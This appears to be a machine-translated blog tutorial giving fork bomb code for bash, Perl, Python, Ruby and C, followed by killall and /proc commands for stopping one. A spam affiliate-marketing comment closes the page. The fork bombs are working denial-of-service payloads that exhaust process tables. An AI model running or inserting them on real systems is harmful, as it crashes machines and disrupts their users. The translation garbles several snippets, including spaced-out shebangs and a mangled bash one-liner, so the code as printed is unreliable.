Creating Fork Bomb on Unix / Linux



       Creating Fork Bomb on Unix / Linux

The Fork Bomb concept is an insidious small program that spawns itself n-times, discarding a chain reaction (recursion) and thereby quickly exhausting system resources.

PExamples of creating a Fork Bomb on Unix / Linux

WARNING! These examples may cause your computer to crash if it runs.

ПExamples of creating a Fork Bomb using bash

So the code looks like this:
In the Bash console (on Linux distributions):
: () {: |: &} ;:
Where:
  • :() - Function definition.
  • {- Opening function.
  • : |: - Next, it loads a copy of the “:” function into memory thereby, will call itself using the programming technique (the so-called recursion) and transfer the result to another function call.
  • ':' - The worst part is a function called twice to “bomb” your system.
  • & - Puts a function call in the background so that the fork (child process) cannot "die" at all, thereby starting to eat system resources.
  • } - Closing a function.
  • - Complete the function definition. That is, it is a command separator (such as &&).
  • : - Runs the function that spawns fork bomb ().
This is working code, but not very readable. Here is an example of normal, readable code:
#! / usr / bin / env bash -x 
bomb () { 
bomb | bomb & 
}; 
bomb
Move on.

ПExamples of creating a Fork Bomb using perl

An example of an inline shell using the Perl interpreter:
# perl -e "fork while fork" &

ПExamples of creating a Fork Bomb using Python

Code example:
import os 
while True: 
os.fork ()

PExamples of creating a Fork Bomb using Ruby

And so, here is the code:
#! / usr / bin / ruby 
loop {fork {__FILE__}}

ПExamples of creating a Fork Bomb using C / C ++

The code will look:
#include <unistd.h> 
int main (void) 
{ 
while (1) 
fork (); 
}

PExamples of Defusing Fork Bomb on Unix / Linux

Defusing is the so-called fork bomb clearance. Due to their nature, such bombs are difficult to stop after they are launched. To stop such a bomb, all working copies must be completed, which can be difficult to achieve. One of the problems is that this command cannot be executed because the process table is completely full. The second serious problem is that at the time of the search for processes, the time spent for which a couple more forks of the program could be created was stopped.
To remove such a bomb, you can use one of the following commands:
# killall -STOP processWithBombName 
# killall -KILL processWithBombName
When the system has few free PIDs (in Linux, the maximum number of PIDs can be obtained from / proc / sys / kernel / pid_max), “discharging” form bombs becomes more complicated:
# killall -9 processWithBombName
You can get the error:
 bash: fork: Cannot allocate memory
In this case, the detonation of the bomb is possible only if at least one shell is open. Processes may not fork, but you can execute any program from the current shell. As a rule, only one attempt is possible.
The killall -9 command is not executed directly from the shell, because the command is not atomic and does not hold locks in the process list, so by the time it finishes, the fork bomb will spawn PIDs. Therefore, you need to start several killall processes, for example:
# while:; do killall -9 processWithBombName; done
Another example, because the process table is available in Linux via the FS (/ proc), you can defuse a given fork of the bomb using the built-in bash functions that do not require the deployment of new processes.
The following example identifies the processes associated with the violation and pauses them to prevent a given fork until they are killed one at a time. This avoids the race condition of other examples that may fail if disturbing processes can develop faster than they are killed:
# cd / proc && for p in [0-9] *; do read cmd <"$ p / cmdline"; if [[$ cmd = processWithBombName]]; then kill -s STOP "$ p" || kill -s KILL "$ p"; fi done
Something like this!

Commentaires

  1. Your Affiliate Money Printing Machine is waiting -

    And making profit with it is as easy as 1---2---3!

    Here are the steps to make it work...

    STEP 1. Choose affiliate products you want to promote
    STEP 2. Add PUSH BUTTON TRAFFIC (it takes JUST 2 minutes)
    STEP 3. See how the system grow your list and sell your affiliate products for you!

    Do you want to start making money???

    Click here to check it out

    RépondreSupprimer
You are welcome to share your ideas with us in comments!